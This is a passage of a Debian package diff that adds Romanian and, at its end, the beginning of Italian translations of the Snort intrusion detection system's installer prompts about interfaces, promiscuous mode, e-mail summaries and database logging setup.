+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort poate fi pornit fie la pornirea sistemului, fie la conectarea la "
+"internet cu pppd, fie manual via /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "interfața/interfețele pe care să asculte Snort:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Această valoare este de obicei „eth0�, însă această valoare ar putea fi "
+"nepotrivită în unele rețele; pentru conexiuni „dialup�, „ppp0� ar putea fi "
+"mai indicată (a se vedea informațiile afișate de „/sbin/ifconfig�)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"De obicei, aceasta este interfața pe care este definită ruta implicită. "
+"Puteți detecta care interfață este folosită în acest scop rulând „/sbin/"
+"route -n� (căutați „0.0.0.0�)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"De asemenea, nu este deloc neobișnuit a rula Snort pe o interfață fără "
+"adresă IP care este configurată în modul promiscuu. Dacă e cazul, selectați "
+"interfața care este conectată fizic la rețeaua care ar trebui inspectată, "
+"activați apoi modul promiscuu și asigurați-vă că traficul de rețea este "
+"trimis către acestă interfață (fie prin conectarea la un port de tip "
+"„oglindă� într-un switch, fie la un hub sau un interceptor)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Puteți configura mai multe interfețe prin simpla adăugare a mai mult de un "
+"singur nume de interfață, separatorul fiind spațiul. Fiecare interfață poate "
+"avea propria configurație specifică."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Intervalul de adrese pentru rețeaua locală:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Folosiți forma CIDR, de exemplu, 192.168.1.0/24 pentru un bloc de 256 de "
+"adrese IP sau 192.168.1.42/32 doar pentru o adresă. Valorile multiple "
+"trebuie separate cu (fără spații)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"A se reține că dacă Snort este configurat să folosească mai multe interfețe, "
+"va folosi această valoare ca definiția lui HOME_NET pentru toate."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Se activează modul promiscuu pe interfață?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Dezactivarea modului promiscuu înseamnă că Snort va „vedea� doar pachetele "
+"adresate interfeței monitorizate. Activarea acestuia îi va permite lui Snort "
+"să verifice fiecare pachet care trece prin segmentul Ethernet, chiar dacă "
+"este o conexiune între alte două calculatoare."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interfața nu e validă"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort încearcă să folosească o interfață care nu există sau care nu este "
+"„ridicată�. Fie recurge în mod implicit și greșit la „eth0�, fie ați "
+"precizat o interfață care nu este validă."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Se schimbă ordinea testelor lui Snort în Trece|Alertă|Jurnal?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Ordinea implicită de testare a lui Snort este Alertă|Trece|Jurnal; dacă "
+"acceptați această opțiune, ordinea se va schimba în Trece|Alertă|Jurnal, "
+"lucru care poate face mai facilă utilizarea lui Snort cu anumite unelte de "
+"filtrare a pachetelor."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Doriți mesaje electronice zilnice cu sumarul?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Se poate configura un serviciu cron care să trimită zilnic la o anumită "
+"adresă de poștă electronică sumare ale jurnalelor lui Snort."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Alegeți dacă doriți să activați această facilitate."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinatarul mesajelor zilnice cu statistici:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Precizați adresa de poștă electronică unde se vor recepționa sumarele "
+"zilnice ale jurnalelor Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opțiuni adiționale particularizate:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Precizați orice alte opțiuni pe care să le folosească Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Numărul minim de apariții pentru raportarea unei alerte:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Introduceți numărul minim de apariții ale unei anumite alerte necesar pentru "
+"a fi inclusă în statisticile zilnice."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "You are running Snort manually"
+msgstr "Rulați Snort manual"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11002 ../snort-mysql.templates:11002
+#: ../snort-pgsql.templates:11002
+msgid "Snort restart required"
+msgstr "Este necesară repornirea lui Snort"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11002 ../snort-mysql.templates:11002
+#: ../snort-pgsql.templates:11002
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Deoarece Snort este pornit manual, trebuie să rulați „/etc/init.d/snort� "
+"pentru ca schimbările să fie luate în considerare."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "There is an error in your configuration"
+msgstr "Există o eroare în configurația dumneavoastră"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12002 ../snort-mysql.templates:12002
+#: ../snort-pgsql.templates:12002
+msgid "Configuration error"
+msgstr "Eroare de configurare"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12002 ../snort-mysql.templates:12002
+#: ../snort-pgsql.templates:12002
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Actuala configurație Snort nu este validă și îl va împiedica pe acesta să "
+"pornească normal. Revizuiți-o și corectați-o."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12002 ../snort-mysql.templates:12002
+#: ../snort-pgsql.templates:12002
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Pentru diagnosticarea unui fișier de configurare a lui Snort, folosiți „/usr/"
+"sbin/snort -T -c <fișier>�."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Fișier de configurare depășit"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Acest sistem folosește un fișier de configurare învechit (/etc/snort/snort."
+"common.parameters) care a fost convertit automat la noul format de fișier (/"
+"etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Verificați noul fișier de configurare și ștergeți-l pe cel vechi. Până "
+"atunci, scriptul init.d nu va folosi configurația nouă și nu veți profita de "
+"beneficiile introduse în versiunile mai noi."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Se pregătește o bază de date în care snort-mysql va face jurnalizarea?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Nu s-a pregătit nici o bază de date în care Snort să țină jurnalele. Înainte "
+"de a continua, ar trebui să vă asigurați că aveți:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - numele serverului (acel server trebuie să permită conexiuni TCP\n"
+"   inițiate de pe acest sistem);\n"
+" - o bază de date pe acel server;\n"
+" - un nume de utilizator și o parolă pentru a accesa baza de date."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Dacă unele dintre aceste cerințe nu sunt satisfăcute, refuzați această "
+"opțiune și rulați cu jurnalizare în fișiere obișnuite."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Jurnalizarea într-o bază de date poate fi reconfigurată mai târziu, cu "
+"comanda „dpkg-reconfigure -plow snort-mysql�."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Numele serverului cu baza de date:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Precizați numele unui server de baze de date care permite primirea de "
+"conexiuni de pe acest calculator."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Numele bazei de date:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Precizați numele unei baze de date deja existente la care utilizatorul de "
+"baze de date are drept de scriere."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Numele de utilizator pentru accesul la baza de date:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Please specify a database server username with write access to the database."
+msgstr ""
+"Precizați un utilizator de baze de date care are drept de scriere în baza de "
+"date."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Parola pentru conectarea la baza de date:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Introduceți parola folosită pentru conectarea la baza de date pentru "
+"alertele Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Este obligatorie o bază de date configurată pentru Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort are nevoie de o bază de date configurată anterior pentru a putea "
+"porni. Pentru a crea structura, trebuie să rulați următoarele comenzi DUPĂ "
+"ce pachetul este instalat:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <utilizator> -h <numeserver> -p "
+"<numelebazeidedate>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Introduceți valorile corecte pentru utilizator, numele serverului și numele "
+"bazei de date. MySQL vă va cere interactiv parola."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"După ce ați creat structura bazei de date, va trebui să porniți manual Snort-"
+"ul."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Se pregătește o bază de date în care snort-pgsql va face jurnalizarea?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Jurnalizarea într-o bază de date poate fi reconfigurată mai târziu, cu "
+"comanda „dpkg-reconfigure -plow snort-pgsql�."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <utilizator> -h <numeserver> -W "
+"<numelebazeidedate>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Introduceți valorile corecte pentru utilizator, numele serverului și numele "
+"bazei de date. PostgreSQL vă va cere interactiv parola."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Fișier de configurare depășit"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Fișierul de configurare pentru Snort (/etc/snort/snort.conf) folosește "
+"opțiuni depășite care nu mai sunt disponibile în această versiune de Snort. "
+"Snort nu va putea porni decât dacă furnizați un fișier de configurare "
+"corect. Fie permiteți înlocuirea fișierului de configurare cu cel furnizat "
+"de pachet sau să îl reparați manual prin ștergerea opțiunilor depășite."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr "În fișierul de configurare au fost găsite următoarele opținuni învechite: ${DEP_CONFIG}."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Fișierul dumneavoastră de configurare este învechit"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "la pornire, dialup, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Când trebuie pornit Snort?"
+
+# XXX: it would be nice if "any" would be translatable, too
+# XXX: of course, the postinst script uses the non-translated string
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Dacă doriți puteți alege 'any' (eng. pentru 'oricare'), dacă nu aveți "
+#~ "încredere în nici o parte a rețelei."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Una dintre interfețele precizate de dumneavoastră nu este validă (poate "
+#~ "nu există în sistem sau nu era activă). Introduceți o interfață validă "
+#~ "când se răspunde la întrebarea legată de interfața/interfețele pe care "
+#~ "trebuie să asculte Snort."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Dacă nu ați configurat o interfață atunci pachetul va încerca să "
+#~ "folosească valoarea implicită ('eth0') care nu pare a fi validă în "
+#~ "sistemul dumneavoastră."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Dacă schimbați ordinea de testare a regulilor în Trece|Alarmă|Jurnal, "
+#~ "regulile vor fi aplicate în ordinea Trece->Alarmă->Jurnal, în loc de "
+#~ "ordinea standard Alarmă->Trece->Jurnal. Acest lucru va permite oamenilor "
+#~ "să nu fie forțați să creeze liste imense de argumente pentru Filtrul de "
+#~ "pachete Berkley pentru a filtra regulile de alertare."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Această instalare de Snort furnizează o sarcină de cron care rulează "
+#~ "zilnic și sumarizează informațiile din jurnalele lui Snort către o adresă "
+#~ "de poștă electronică selectată. Dacă doriți să dezactivați acestă "
+#~ "facilitate alegeți 'nu'."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "O sarcină de cron care rulează zilnic va sumariza informațiilor din "
+#~ "jurnalele generate de Snort folosind un script numit 'snort-stat'. "
+#~ "Introduceți destinatarul acestor mesaje. Valoarea implicită este "
+#~ "administratorul de sistem. Dacă păstrați această valoare, asigurați-vă că "
+#~ "mesajele către adresa administratorului sunt redirectate către un "
+#~ "utilizator care chiar citește acele mesaje."
+
+#, fuzzy
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Dacă doriți să folosiți opțiuni particularizate pentru Snort, precizați-"
+#~ "le aici."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Reporniți Snort folosind:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "pentru a permite opțiunilor de configurare să își facă efectul."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Configurația dumneavoastră pentru Snort nu este corectă și Snort nu va "
+#~ "putea să pornească normal. Revizuiți și reparați configurația. Dacă nu, "
+#~ "probabil că actualizările lui Snort se vor solda cu erori. Pentru a "
+#~ "verifica ce erori sunt generate, rulați '/usr/sbin/snort -T -c /etc/snort/"
+#~ "snort.conf' (sau indicați un alt fișier de configurare, dacă folosiți "
+#~ "fișiere diferite pentru diferitele interfețe)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Trebuie să faceți acest lucru doar prima dată când instalați snort-mysql. "
+#~ "Înainte de a continua, asigurați-vă că aveți (1) numele calculatorului pe "
+#~ "care rulează serverul mysql configurat să accepte conexiuni tcp de pe "
+#~ "acest calculator, (2) o bază de date pe acel server, (3) un nume și o "
+#~ "parolă pentru a accesa baza de date. Dacă nu aveți _toate_ acestea, fie "
+#~ "selectați 'nu' și rulați cu suport pentru jurnalizare în fișiere, fie "
+#~ "rezolvați această problemă. Puteți oricând, mai târziu, să configurați "
+#~ "baza de date de jurnalizare prin reconfigurarea pachetului snort-mysql cu "
+#~ "'dpkg-reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Asigurați-vă că acest utilizator de bază de date are acces să scrie."
+
+#, fuzzy
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort are nevoie de o bază de date configurată pentru a jurnalizare "
+#~ "înainte de a porni."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Trebuie să faceți acest lucru doar prima dată când instalați snort-pgsql. "
+#~ "Înainte de a continua, asigurați-vă că aveți (1) numele calculatorului pe "
+#~ "care rulează serverul pgsql configurat să accepte conexiuni tcp de pe "
+#~ "acest calculator, (2) o bază de date pe acel server, (3) un nume și o "
+#~ "parolă pentru a accesa baza de date. Dacă nu aveți _toate_ acestea, fie "
+#~ "selectați 'nu' și rulați cu suport pentru jurnalizare în fișiere, fie "
+#~ "rezolvați această problemă. Puteți oricând, mai târziu, să configurați "
+#~ "baza de date de jurnalizare prin reconfigurarea pachetului snort-pgsql cu "
+#~ "'dpkg-reconfigure -plow snort-pgsql'"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort are nevoie de o bază de date configurată anterior pentru a putea "
+#~ "porni. Pentru a crea structura, trebuie să rulați următoarele comenzi "
+#~ "DUPÄ‚ ce pachetul este instalat:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <utilizator> -h <calculator> -W "
+#~ "<numele_bazei_de_date>\n"
+#~ "Completați valorile corecte pentru utilizator, calculator și "
+#~ "numele_bazei_de_date. PostgreSQL vă va cere parola."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Introduceți numele interfeței/interfețelor pe care să asculte Snort. "
+#~ "Numele interfețelor disponibile sunt furnizate prin rularea 'ip link "
+#~ "show' sau 'ifconfig'. De obicei, această valoare este 'eth0', dar este "
+#~ "posibil să doriți să schimbați acest lucru, dependent de situație, iar "
+#~ "dacă folosiți o conexiune dialup, 'ppp0' probabil este mai potrivită."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Introduceți intervalul de adrese pe care să asculte Snort."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Dezactivați modul promiscuu dacă Snort este configurat pe o interfață "
+#~ "fără adresă IP."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Introduceți numele calculatorului al cărui bază de date mysql va fi "
+#~ "folosită."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Introduceți numele bazei de date care va fi folosită."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr ""
+#~ "Introduceți numele utilizatorului de bază de date pe care doriți să-l "
+#~ "folosiți."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Introduceți numele calculatorului al cărui bază de date pgsql va fi "
+#~ "folosită."
+
--- snort-2.8.5.2.orig/debian/po/it.po
+++ snort-2.8.5.2/debian/po/it.po
@@ -0,0 +1,805 @@
+# ITALIAN TRANSLATION OF SNORT
+# TRADUZIONE ITALIANA DI SNORT
+# Copyright (C) 2008 Software in the Public Interest
+# This file is distributed under the same license as the snort package.
+#
+# Gianluca Cotrino <gicotr@gmail.com>, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-20 19:37+0100\n"
+"Last-Translator: Gianluca Cotrino <gicotr@gmail.com>\n"
+"Language-Team: Italian <tp@lists.linux.it>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=ISO-8859-15\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "avvio"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "dia-lup"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuale"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "metodo di avvio di Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
